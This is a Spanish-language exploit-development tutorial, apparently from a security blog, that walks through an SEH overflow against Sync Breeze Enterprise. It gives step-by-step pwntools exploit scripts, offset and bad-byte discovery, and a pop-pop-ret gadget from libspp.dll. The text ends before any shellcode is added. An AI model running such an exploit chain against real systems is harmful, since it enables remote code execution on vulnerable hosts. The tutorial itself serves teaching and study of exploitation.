xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



Exploit Development

SEH Overflow



Además del Stack Overflow, hay más vulnerabilidades, en este caso analizaremos un SEH Overflow que ocurre cuando sobrescribimos la estructura de excepciones SEH, nuevamente utilizaremos la misma aplicación real para entender la explotación.


Theory


Iniciamos con algunos conceptos importantes a aprender para poder explotar esta vulnerabilidad, SEH o Structured Exception Handling es la forma que tiene Windows de manejar las excepciones, estas pueden ser de software o hardware, un ejemplo básico en código podria ser el tipico try/catch para manejar excepciones:

try {
    // code block to try to execute
} catch {
    // code block if causes an exception
}

Algunos conceptos interesantes sobre este controlador de excepciones son:

• La estructura SEH es independiente por cada hilo en ejecución, esta consta de 2 valores, el controlador y el puntero a la siguiente estructura SEH.

0:000> dt ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : Ptr32     _EXCEPTION_DISPOSITION

• El puntero a la estructura SEH se almacena en la estructura TEB y al ser el primer valor se puede acceder desde fs:[0].

0:000> !teb
TEB at 002bf000
    ExceptionList:        01d3ff60
    StackBase:            01d40000
    StackLimit:           01d3c000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 002bf000
    EnvironmentPointer:   00000000
    ClientId:             00001918 . 00000f18
    RpcHandle:            00000000
    Tls Storage:          00000000
    PEB Address:          0029b000
    LastErrorValue:       0
    LastStatusValue:      0
    Count Owned Locks:    0
    HardErrorMode:        0

0:000> dd fs:[0] L1
0053:00000000  01d3ff60

• Un programa puede tener multiples controladores SEH y estos estan encadenados entre si por una lista creando una cadena.

0:000> dt ntdll!_EXCEPTION_REGISTRATION_RECORD 0x01d3ff60  
   +0x000 Next             : 0x01d3ffcc _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x7735af20     _EXCEPTION_DISPOSITION  ntdll!_except_handler4+0

0:000> dt ntdll!_EXCEPTION_REGISTRATION_RECORD 0x01d3ffcc  
   +0x000 Next             : 0x01d3ffe4 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x7735af20     _EXCEPTION_DISPOSITION  ntdll!_except_handler4+0

0:000> dt ntdll!_EXCEPTION_REGISTRATION_RECORD 0x01d3ffe4  
   +0x000 Next             : 0xffffffff _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x77368c1d     _EXCEPTION_DISPOSITION  ntdll!FinalExceptionHandlerPad45+0

• Todas las cadenas terminan con un SEH predeterminado, el siguiente SEH apunta a 0xffffffff que significa que es el ultimo de la cadena.

0:000> dt ntdll!_EXCEPTION_REGISTRATION_RECORD 0x01d3ffe4
   +0x000 Next             : 0xffffffff _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x77368c1d     _EXCEPTION_DISPOSITION  ntdll!FinalExceptionHandlerPad45+0

• Si se utiliza la flag /SAFESEH el programa no será vulnerable ya que usará un controlador seguro.

• Los programas en x64 no son vulnerables a SEH Overflow ya que los archivos tienen controladores de excepciones seguros.

Resumiendo un poco lo anterior la estructura SEH de podria ver algo asi, donde una encadena a la otra almacenando el puntero al siguiente SEH terminando la cadena con el controlador por defecto que como siguiente SEH apunta a 0xffffffff.

Para finalizar podemos usar el comando integrado en windbg !exchain para ver toda la estructura SEH, nos muestra los controladores y la estructura de forma recursiva.

0:000> !exchain
01d3ff60: ntdll!_except_handler4+0 (7735af20)
  CRT scope  0, filter: ntdll!DbgUiRemoteBreakin+3b (7738dbab)
                func:   ntdll!DbgUiRemoteBreakin+3f (7738dbaf)
01d3ffcc: ntdll!_except_handler4+0 (7735af20)
  CRT scope  0, filter: ntdll!__RtlUserThreadStart+3cb75 (773847a4)
                func:   ntdll!__RtlUserThreadStart+3cc0e (7738483d)
01d3ffe4: ntdll!FinalExceptionHandlerPad45+0 (77368c1d)
Invalid exception stack at ffffffff


Crashing Application


Nuevamente evitaremos la detección de la vulnerabilidad para ahorrar tiempo, por ahora usaremos un exploit de exploitdb para crear nuestro poc, resumiendo un poco para que el programa corrompa necesita un header bastante especifico.

#!/usr/bin/python3
from pwn import remote, p32

payload = b"A" * 1000

header  = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])

content = header + payload

shell = remote("192.168.100.5", 9121)
shell.sendline(content)

Al ejecutar el poc pasa algo interesante y es que aunque el programa corrompe el eip no apunta a ninguna parte de nuestra cadena como pasa en un stack overflow.

❯ python3 exploit.py
[+] Opening connection to Windows on port 9121: Done
[*] Closed connection to Windows port 9121

0:000> g
(d0c.18e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=006fff44 ebx=00000000 ecx=41414141 edx=00780000 esi=006fff08 edi=006fff08
eip=0099166a esp=006ffe00 ebp=006fff80 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
libpal!SCA_ConfigObj::Clear+0xa:
0099166a 8b410c          mov     eax,dword ptr [ecx+0Ch] ds:002b:4141414d=????????

Sin embargo lo que si sobrescribimos es la estructura SEH que ahora apunta a 0x41414141 tanto en el controlador como en el puntero al siguiente SEH.

0:000> !exchain
006ffe14: libpal!md5_starts+14783 (00a0d473)
006fff44: 41414141
Invalid exception stack at 41414141

Como ha ocurrido una excepción y sobrescribimos el controlador este intentara saltar a la excepcion por lo que apuntara a 0x41414141 que si es parte de nuestra cadena.

0:007> g
(d0c.18e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=77af8ac0 esi=00000000 edi=00000000
eip=41414141 esp=006ff850 ebp=006ff870 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???


Find Offset


Ahora necesitamos calcular la cantidad de bytes necesarios antes de sobrescribir los 2 valores de la estructura, el siguiente SEH y el controlador de la excepción, para ello podemos usar cyclic y crear un patrón de caracteres que nos ayudara a calcularlo.

❯ cyclic 1000
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj

Ahora cambiamos las 1000 A's del payload por este patrón y enviamos el exploit.

#!/usr/bin/python3
from pwn import remote, p32, cyclic

payload = cyclic(1000)

header  = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])

content = header + payload

shell = remote("192.168.100.5", 9121)
shell.sendline(content)

Cuando el programa corrompe, los valores de la estructura que se sobrescribieron ya no son 0x41414141 sino que son los caracteres que forman parte del patrón creado con cyclic y nos indicarán la cantidad de bytes antes de llegar a sobrescribirlos.

0:000> g
(3a98.23dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=020af963 ebx=020af9c8 ecx=00000135 edx=00000302 esi=020afa10 edi=00000134
eip=00c0dcce esp=020af99c ebp=020afecc iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
libpal!SCA_GetToken+0x4e:
00c0dcce 88042f          mov     byte ptr [edi+ebp],al      ds:002b:020b0000=??

0:000> !exchain
020afe10: libpal!md5_starts+149fb (00c7d6eb)
020aff48: 62616168
Invalid exception stack at 62616167

Para calcular el offset tomamos el valor del siguiente SEH y del controlador para así pasarselos a cyclic -l, este nos devuelve el offset de cada uno de los valores.

❯ cyclic -l 0x62616167
124

❯ cyclic -l 0x62616168
128

Nuestro payload ahora enviará 124 A's hasta antes de sobrescribir la estructura SEH, 4 B's que serán el siguiente SEH y 4 C's que serán el controlador, ademas de ello rellenamos con D's hasta llegar a 1000 bytes ya que en la mayoria de casos es necesario forzar que ocurra la excepción enviando una cantidad grande de bytes.

#!/usr/bin/python3
from pwn import remote, p32

offset = 124
junk = b"A" * offset

nseh = b"B" * 4
seh = b"C" * 4

payload  = b""
payload += junk
payload += nseh + seh
payload += b"D" * (1000 - len(payload))

header  = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])

content = header + payload

shell = remote("192.168.100.5", 9121)
shell.sendline(content)

Al enviar el exploit el programa corrompe pero ahora controlamos la estructura SEH con el siguiente SEH con el valor 0x42424242 y el controlador con 0x43434343.

0:000> g
(1914.1074): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01bff944 ebx=01bff9c4 ecx=00000139 edx=00000302 esi=01bffa0c edi=00000138
eip=008fdcce esp=01bff998 ebp=01bffec8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
libpal!SCA_GetToken+0x4e:
008fdcce 88042f          mov     byte ptr [edi+ebp],al      ds:002b:01c00000=??

0:000> !exchain
01bffe0c: libpal!md5_starts+149fb (0096d6eb)
01bfff44: 43434343
Invalid exception stack at 42424242

Si seguimos la ejecución, como ocurrió una excepción ejecutará el primer controlador del SEH y como lo hemos sobrescrito con 0x43434343 intentará llegar a esa dirección.

0:000> g
(1914.1074): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=43434343 edx=77af8ac0 esi=00000000 edi=00000000
eip=43434343 esp=01bff3e8 ebp=01bff408 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
43434343 ??              ???

Algo a tener en cuenta es que cuando ocurre la excepción los valores del SEH se mueven al stack parecido a cuando se llama a una función, lo que nos interesa es que en la dirección esp + 8 se encuentra el puntero hacia el siguiente SEH.

0:000> !exchain
01bff3fc: ntdll!ExecuteHandler2+44 (77af8ac0)
01bffe0c: libpal!md5_starts+149fb (0096d6eb)
01bfff44: 43434343
Invalid exception stack at 42424242

0:000> dds esp L4
01bff3e8  77af8aa2 ntdll!ExecuteHandler2+0x26
01bff3ec  01bff4e8 
01bff3f0  01bfff44                 (esp + 8) [ptr to nseh]
01bff3f4  01bff538

Al inspeccionar lo que hay en el puntero en esp + 8 podemos ver el valor de la siguiente estructura SEH (0x42424242) seguido del controlador y las D's de relleno.

0:000> dds poi(esp + 8) L4
01bfff44  42424242                 (nseh)
01bfff48  43434343                 (seh)
01bfff4c  44444444                 (DDDD)
01bfff50  44444444                 (DDDD)


Find Badbytes


Algo importante es detectar bytes que puedan dar problemas, ya que es posible que el programa tenga problemas con algunos caracteres especificos y cortar la cadena, si esto pasa en un shellcode eliminará muchas de las instrucciones y no se ejecutará.

❯ python3 -q
>>> bytes(range(0, 256))
b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
>>>

Modificamos el exploit para que en lugar de guardar D's guarde nuestro bytearray con los 256 posibles caracteres para después comparar 256 bytes de esa dirección de memoria con los bytes originalmente desde 0x00 hasta 0xff, si uno de ellos se ve modificado o tiene un valor diferente significa que hubo algún problema.

#!/usr/bin/python3
from pwn import remote, p32

offset = 124
junk = b"A" * offset

nseh = b"B" * 4
seh = b"C" * 4

badbytes = bytes(range(0, 256))

payload  = b""
payload += junk
payload += nseh + seh
payload += badbytes
payload += b"D" * (1000 - len(payload))

header  = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])

content = header + payload

shell = remote("192.168.100.5", 9121)
shell.sendline(content)

El programa corrompe y saltamos a la excepción que nos lleva al controlador.

0:000> g
(1370.17b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0220ff48 ebx=00000000 ecx=41414141 edx=00000000 esi=0220ff0c edi=0220ff0c
eip=00cc166a esp=0220fe04 ebp=0220ff84 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
libpal!SCA_ConfigObj::Clear+0xa:
00cc166a 8b410c          mov     eax,dword ptr [ecx+0Ch] ds:002b:4141414d=????????

0:000> g
(2448.1b84): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=43434343 edx=77b04540 esi=00000000 edi=00000000
eip=43434343 esp=0220f848 ebp=0220f868 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
43434343 ??              ???

Sabemos que el puntero de esp + 8 apunta a el siguiente SEH por lo que si saltamos los 8 bytes del siguiente SEH y controlador la dirección resultante deberia apuntar a lo que enviamos después que son los badbytes, si comparamos todos los bytes en esa dirección parece que ningún byte coincide por lo que probablemente el 0x00 es un badbyte y está corrompiendo todo lo que esta después, incluyendose a él mismo.

0:000> db poi(esp + 8) + 8
0220ff50  ff ff ff ff 4c 07 cf 00-00 3d cf 00 00 36 81 01  ....L....=...6..
0220ff60  62 3f cf 00 00 05 eb 00-00 36 81 01 14 3d cf 00  b?.......6...=..
0220ff70  00 05 eb 00 00 3d cf 00-49 5d ed 76 00 36 81 01  .....=..I].v.6..
0220ff80  30 5d ed 76 dc ff 20 02-db d6 ab 77 00 36 81 01  0].v.. ....w.6..
0220ff90  e8 ad c5 fa 00 00 00 00-00 00 00 00 00 36 81 01  .............6..
0220ffa0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0220ffb0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0220ffc0  00 00 00 00 90 ff 20 02-00 00 00 00 e4 ff 20 02  ...... ....... .

Lo que hacemos es crear un nuevo bytearray que omita el byte 0x00, usando la propiedad translate podemos eliminar bytes específicos, ya que sabemos que nos traerá problemas quitamos el null byte de nuestro array dentro del exploit.

badbytes = bytes(range(0, 256)).translate(None, b"\x00")

Enviamos el exploit y al comparar esa dirección con nuestros bytes omite 0x00 y el byte 0x01 no se ve afectado, sin embargo parece que 0x02 no se llega a escribir correctamente por lo que es probable que se pueda considear un badbyte.

0:000> db poi(esp + 8) + 8
020bff50  01 00 00 00 4c 07 c4 00-00 3d c4 00 70 39 80 01  ....L....=..p9..
020bff60  62 3f c4 00 00 05 db 00-70 39 80 01 14 3d c4 00  b?......p9...=..
020bff70  00 05 db 00 00 3d c4 00-49 5d ed 76 70 39 80 01  .....=..I].vp9..
020bff80  30 5d ed 76 dc ff 0b 02-db d6 ab 77 70 39 80 01  0].v.......wp9..
020bff90  e1 3c fb c1 00 00 00 00-00 00 00 00 70 39 80 01  .<..........p9..
020bffa0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
020bffb0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
020bffc0  00 00 00 00 90 ff 0b 02-00 00 00 00 e4 ff 0b 02  ................

Este proceso puede ser algo repetitivo, ya que se debe hacer las veces que sean necesarias hasta eliminar todos los badbytes que pueden ocasionarnos problemas, en este caso al terminar este proceso nos quedamos con 6 badbytes y lo que buscamos es que el array de bytes que enviamos se muestre integro en la memoria indicando que ninguno de los bytes fue corrupto y podemos usarlos en el payload.

badbytes = bytes(range(0, 256)).translate(None, b"\x00\x0a\x0d\x25\x26\x2b\x3d")

0:000> db poi(esp + 8) + 8
020eff50  01 03 04 05 06 07 08 09-0b 0c 0e 0f 10 11 12 13  ................
020eff60  14 15 16 17 18 19 1a 1b-1c 1d 1e 1f 20 21 22 23  ............ !"#
020eff70  24 25 26 27 28 29 2a 2b-2c 2d 2e 2f 30 31 32 33  $%&'()*+,-./0123
020eff80  34 35 36 37 38 39 3a 3b-3c 3d 3e 3f 40 41 42 43  456789:;<=>?@ABC
020eff90  44 45 46 47 48 49 4a 4b-4c 4d 4e 4f 50 51 52 53  DEFGHIJKLMNOPQRS
020effa0  54 55 56 57 58 59 5a 5b-5c 5d 5e 5f 60 61 62 63  TUVWXYZ[\]^_`abc
020effb0  64 65 66 67 68 69 6a 6b-6c 6d 6e 6f 70 71 72 73  defghijklmnopqrs
020effc0  74 75 76 77 78 79 7a 7b-7c 7d 7e 7f 80 81 82 83  tuvwxyz{|}~.....


Find Opcode


Repasemos lo que tenemos, cuando ocurre una excepción en esp + 8 se guarda el puntero al siguiente SEH por lo que si lo usamos como dirección de retorno se ejecutará el 0x42424242 como instrucción assembly que seria 4 veces inc edx.

0:000> !exchain
01bff3fc: ntdll!ExecuteHandler2+44 (77af8ac0)
01bffe0c: libpal!md5_starts+149fb (0096d6eb)
01bfff44: 43434343
Invalid exception stack at 42424242

0:000> dds esp L8
01bff3e8  77af8aa2 ntdll!ExecuteHandler2+0x26
01bff3ec  01bff4e8
01bff3f0  01bfff44
01bff3f4  01bff538
01bff3f8  01bff474
01bff3fc  01bffe0c
01bff400  77af8ac0 ntdll!ExecuteHandler2+0x44
01bff404  01bfff44

Entonces necesitamos quitar 8 bytes o 2 dwords del stack y ejecutar un ret para ejecutar el siguiente SEH como instrucción asm, esto podemos hacerlo con:

pop ???; pop ???; ret;: Eliminará 4 bytes en el primer pop para guardarlo en el registro, 4 bytes en el segundo y al ejecutar el ret ejecutará el siguiente SEH.

add esp, 8; ret;: Parecido al anterior solo que en lugar de guardar 2 dwords en registros hace que el puntero al stack aumenta en 8 bytes para ejecutar el ret.


Para encontrar un gadget que ejecute algunas de estas instrucciones primero necesitamos saber que módulos carga el programa que pertenezcan a él y no al sistema para esto podemos usar lm, solo hay 4 módulos y 3 de ellos son librerias, sin embargo de estos solo podemos usar 1 ya que el resto tiene como base una dirección que contiene 00 y antes habiamos visto que el null byte era un badbyte.

0:000> lm f 
start    end        module name
00400000 00462000   syncbrs  C:\Program Files (x86)\Sync Breeze Enterprise\bin\syncbrs.exe
00c20000 00cf4000   libpal   C:\Program Files (x86)\Sync Breeze Enterprise\bin\libpal.dll
00d00000 00db4000   libsync  C:\Program Files (x86)\Sync Breeze Enterprise\bin\libsync.dll
10000000 10223000   libspp   C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll
6f000000 6f0a7000   odbc32   C:\Windows\System32\odbc32.dll
722c0000 722eb000   sspiCli  C:\Windows\System32\sspicli.dll
............................................................
76cf0000 76df7000   crypt32  C:\Windows\System32\crypt32.dll
76f30000 770ef000   ntdll    C:\WINDOWS\System32\ntdll.dll

Ya que tenemos un módulo que no inicia con 00 y no tiene protecciones como DEP, ASLR u otros podemos usar ropper para encontrar gadgets que nos ayuden a saltar al siguiente SEH, encontramos varios gadgets y podemos usar cualquiera de ellos.

❯ ropper --file libspp.dll --dllcharacteristics

DllCharacteristics
==================

Name                 Value
----                 -----
DynamicBase          NO
ForceIntegrity       NO
NxCompat             NO
No Isolation         NO
No SEH               NO
No Bind              NO
WdmDriver            NO
ControlFLowGuard     NO
TerminalServerAware  NO

❯ ropper --file libspp.dll --badbytes '00020a0df8fd' --ppr

POP;POP;RET Instructions
========================

0x10132edc: pop ebx; pop edi; ret;
0x1013251f: pop ebx; pop ebp; ret;
0x101241b2: pop ebx; pop esi; ret;
0x1001bc5a: pop ebx; pop ecx; ret;
0x101582b0: pop eax; pop ebx; ret;
0x10125678: pop edi; pop ebp; ret;
0x10125274: pop edi; pop ebx; ret;
0x1001e6c5: pop edi; pop esi; ret;
0x101090a8: pop esi; pop ebp; ret;
0x1001f561: pop esi; pop ebx; ret;
0x10043ad7: pop esi; pop ecx; ret;
0x10128eb9: pop esi; pop edi; ret;
0x1001f264: pop ebp; pop ebx; ret;
0x1012d597: pop ebp; pop esi; ret;
0x1012b191: add esp, 4; pop esi; ret;
0x100129c8: add esp, 8; ret;

16 gadgets found

Nuestro exploit ahora tendrá como controlador el puntero a un pop; pop; ret;, el gadget eliminará 8 bytes del stack y luego retornará al puntero del siguiente SEH.

#!/usr/bin/python3
from pwn import remote, p32, asm

offset = 124
junk = b"A" * offset

nseh = b"B" * 4
seh = p32(0x10132edc)

payload  = b""
payload += junk
payload += nseh + seh
payload += b"D" * (1000 - len(payload))

header  = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])

content = header + payload

shell = remote("192.168.100.5", 9121)
shell.sendline(content)

0:000> g
(7cc.778): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01bff944 ebx=01bff9c4 ecx=00000139 edx=00000302 esi=01bffa0c edi=00000138
eip=008edcce esp=01bff998 ebp=01bffec8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
libpal!SCA_GetToken+0x4e:
008edcce 88042f          mov     byte ptr [edi+ebp],al      ds:002b:01c00000=??

0:000> !exchain
01bffe0c: libpal!md5_starts+149fb (0095d6eb)
libspp!SPP_ValueTrend::FormatValueString+f6cc (10132edc)
Invalid exception stack at 42424242

Luego de que el programa corrompe podemos establecer un breakpoint en el gadget pop; pop; ret;, podemos ver en esp + 8 el puntero al siguiente SEH.

0:000> bp 0x10132edc

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=10132edc edx=77af8ac0 esi=00000000 edi=00000000
eip=10132edc esp=01bff3e8 ebp=01bff408 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
libspp!SPP_ValueTrend::FormatValueString+0xf6cc:
10132edc 5b              pop     ebx

0:000> dds esp L4
01bff3e8  77af8aa2
01bff3ec  01bff4e8
01bff3f0  01bfff44
01bff3f4  01bff538

El primer pop elimina 4 bytes del stack, el segundo pop otros 4 bytes y el ret ejecuta lo que esta en la dirección almacenada en esp que es el siguiente SEH que vale 0x42424242 o BBBB que su valor en asm es inc edx repetido por 4 veces.

0:000> r
eax=00000000 ebx=00000000 ecx=10132edc edx=77af8ac0 esi=00000000 edi=00000000
eip=10132edc esp=01bff3e8 ebp=01bff408 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
libspp!SPP_ValueTrend::FormatValueString+0xf6cc:
10132edc 5b              pop     ebx

0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=00000000
eip=10132edd esp=01bff3ec ebp=01bff408 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
libspp!SPP_ValueTrend::FormatValueString+0xf6cd:
10132edd 5f              pop     edi

0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01bff4e8
eip=10132ede esp=01bff3f0 ebp=01bff408 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
libspp!SPP_ValueTrend::FormatValueString+0xf6ce:
10132ede c3              ret

0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01bff4e8
eip=01bfff44 esp=01bff3f4 ebp=01bff408 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
01bfff44 42              inc     edx

Tenemos una forma de ejecutar código asm, sin embargo una vez que ejecute el 0x42424242 si intenta ejecutar la dirección del controlador como instrucción probablemente corrompa, la solución es saltar esos 8 bytes para llegar a las D's.

0:000> dds eip L8
01bfff44  42424242
01bfff48  10132edc
01bfff4c  44444444
01bfff50  44444444
01bfff54  44444444
01bfff58  44444444
01bfff5c  44444444
01bfff60  44444444

Ahora nuestro siguiente SEH toma como valor la instrucción jmp $+8, aunque esta solo pesa 2 bytes (\xeb\x06), necesitamos rellenar a 4 con A's para evitar problemas.

#!/usr/bin/python3
from pwn import remote, p32, asm

offset = 124
junk = b"A" * offset

nseh = asm("jmp $+8").ljust(4, b"A")
seh = p32(0x10132edc)

payload  = b""
payload += junk
payload += nseh + seh
payload += b"D" * (1000 - len(payload))

header  = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])

content = header + payload

shell = remote("192.168.100.5", 9121)
shell.sendline(content)

Enviamos el exploit, ejecutamos el pop; pop; ret; y la siguiente instrucción será el jmp corto que saltará a 0x01c0ff4c, esta dirección es donde inician nuestras D's.

0:000> bp 0x10132edc

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=10132edc edx=77af8ac0 esi=00000000 edi=00000000
eip=10132edc esp=01c0f3e8 ebp=01c0f408 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
libspp!SPP_ValueTrend::FormatValueString+0xf6cc:
10132edc 5b              pop     ebx

0:000> pt
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01c0f4e8
eip=10132ede esp=01c0f3f0 ebp=01c0f408 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
libspp!SPP_ValueTrend::FormatValueString+0xf6ce:
10132ede c3              ret

0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01c0f4e8
eip=01c0ff44 esp=01c0f3f4 ebp=01c0f408 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
01c0ff44 eb06            jmp     01c0ff4c

0:000> dds eip L4
01c0ff44  414106eb
01c0ff48  10132edc libspp!SPP_ValueTrend::FormatValueString+0xf6cc
01c0ff4c  44444444
01c0ff50  44444444

Después del jmp corto lo siguiente que ejecutará son las D's como instrucción por lo que si en lugar de D's enviamos un shellcode deberiamos poder ejecutarlo.

0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01c0f4e8
eip=01c0ff4c esp=01c0f3f4 ebp=01c0f408 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
01c0ff4c 44              inc     esp

0:000> dds eip L4
01c0ff4c  44444444
01c0ff50  44444444
01c0ff54  44444444
01c0ff58  44444444


Stack Pivot


Sin embargo no podemos solo enviar un shellcode ya que si miramos los bytes despues de escribir 180 D's corta la cadena, este espacio no es suficiente para un shellcode por lo que necesitamos buscar una forma de obtener más espacio.

